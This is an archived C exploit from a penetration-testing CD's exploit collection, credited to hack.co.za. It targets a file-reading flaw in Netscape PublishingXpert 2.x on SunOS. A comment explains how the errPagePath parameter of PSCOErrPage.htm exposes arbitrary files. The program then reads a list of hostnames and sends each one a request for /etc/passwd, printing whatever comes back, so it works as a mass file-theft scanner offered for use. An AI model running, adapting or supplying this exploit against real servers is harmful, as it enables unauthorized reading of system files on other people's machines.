home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / xpert.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  107 lines

  1. /*
  2.  
  3.   Netscape PublishingXpert 2.* file-reading/dir-listing
  4.   vuln in PSCOErrPage.htm by \x00\x00
  5.  
  6.      0s vuln:
  7.       SunOS 5.6 and SunOS 5.5.1 (others versions affected possibly)
  8.  
  9.  
  10.  discription:
  11.       PSCOErrPage.htm is a error handler message page, when theirs
  12.       a server error usually you will get fowarded to this along
  13.       with a url query like this:
  14.  
  15.  /PSUser/PSCOErrPage.htm?errPagePath=%2Fusr%2FPublishingXpert%2F2.5%2Fbin%2Fpsuser%2Fen%2Fcommon%2FPSCO_ErrPage.pat&errMsg=PUBSYS_35202%3A++The+two+passwords+provided+do+not+match
  16. %2F= /
  17.  
  18.        so we can make this a little bit more visible by changing
  19.        the url to be more clearly visible for us. Lets also remove
  20.        that junk info "&errMsg=" and see what we have got...
  21.  
  22.  /PSUser/PSCOErrPage.htm?errPagePath=/usr/PublishingXpert/2.5/bin/psuser/en/common/PSCO_ErrPage.pat
  23.  
  24.        Yes, thats a fully specified filename, meaning we can input
  25.        whatever we want. In our case lets say we wanted to snag
  26.        /etc/passwd just request the fallowing:
  27.  
  28.      exploit:
  29.        /PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd
  30.  
  31.    Alot of big e-commernce sites are vuln to this, but luckily
  32.    scence the level of the cgi script dose not have root
  33.    permisions, meaning your shadow file and other root files are safe.
  34.   
  35.   Usage:
  36.     xpert <infile><outfile>
  37.  
  38. */
  39.  
  40.  
  41. #include <sys/stat.h>
  42. #include <sys/types.h>
  43. #include <termios.h>
  44. #include <unistd.h>
  45. #include <stdio.h>
  46. #include <fcntl.h>
  47. #include <sys/syslog.h>
  48. #include <sys/param.h>
  49. #include <sys/times.h>
  50. #ifdef LINUX
  51. #include <sys/time.h>
  52. #endif
  53. #include <unistd.h>
  54. #include <sys/socket.h>
  55. #include <netinet/in.h>
  56. #include <sys/signal.h>
  57. #include <arpa/inet.h>
  58. #include <netdb.h>
  59. int FLAG = 1;
  60. int Call(int signo)
  61. {
  62.   FLAG = 0;
  63. }
  64.  
  65. main (int argc, char *argv[])
  66. {
  67.   char host[100], buffer[1024], hosta[1024],FileBuf[8097];
  68.   int outsocket, serv_len, len,X,c,outfd;
  69.   struct hostent *nametocheck;
  70.   struct sockaddr_in serv_addr;
  71.   struct in_addr outgoing;
  72.  
  73.   char rmpMessage[]="GET /PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd\n";
  74.   while(fgets(hosta,100,stdin))
  75.     {
  76.       if(hosta[0] == '\0')
  77.         break;
  78.       hosta[strlen(hosta) -1] = '\0';
  79.       write(1,hosta,strlen(hosta)*sizeof(char));
  80.       write(1,"\n",sizeof(char));
  81.       outsocket = socket (AF_INET, SOCK_STREAM, 0);
  82.       memset (&serv_addr, 0, sizeof (serv_addr));
  83.       serv_addr.sin_family = AF_INET;
  84.  
  85.       nametocheck = gethostbyname (hosta);
  86.  
  87.       (void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0], sizeof(outgoing.s_addr));
  88.       strcpy (host, inet_ntoa (outgoing));
  89.       serv_addr.sin_addr.s_addr = inet_addr (host);
  90.       serv_addr.sin_port = htons (80);
  91.       signal(SIGALRM,Call);
  92.       FLAG = 1;
  93.  
  94.       alarm(10);
  95.       X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
  96.       alarm(0);
  97.  
  98.       if(FLAG == 1 && X==0)
  99.         {
  100.           write(outsocket,rmpMessage,strlen(rmpMessage)*sizeof(char));
  101.           while((X=read(outsocket,FileBuf,8096))!=0) write(1,FileBuf,X);
  102.         }
  103.       close (outsocket);
  104.     }
  105.   return 0;
  106. }
  107. /*                    www.hack.co.za              [2000]*/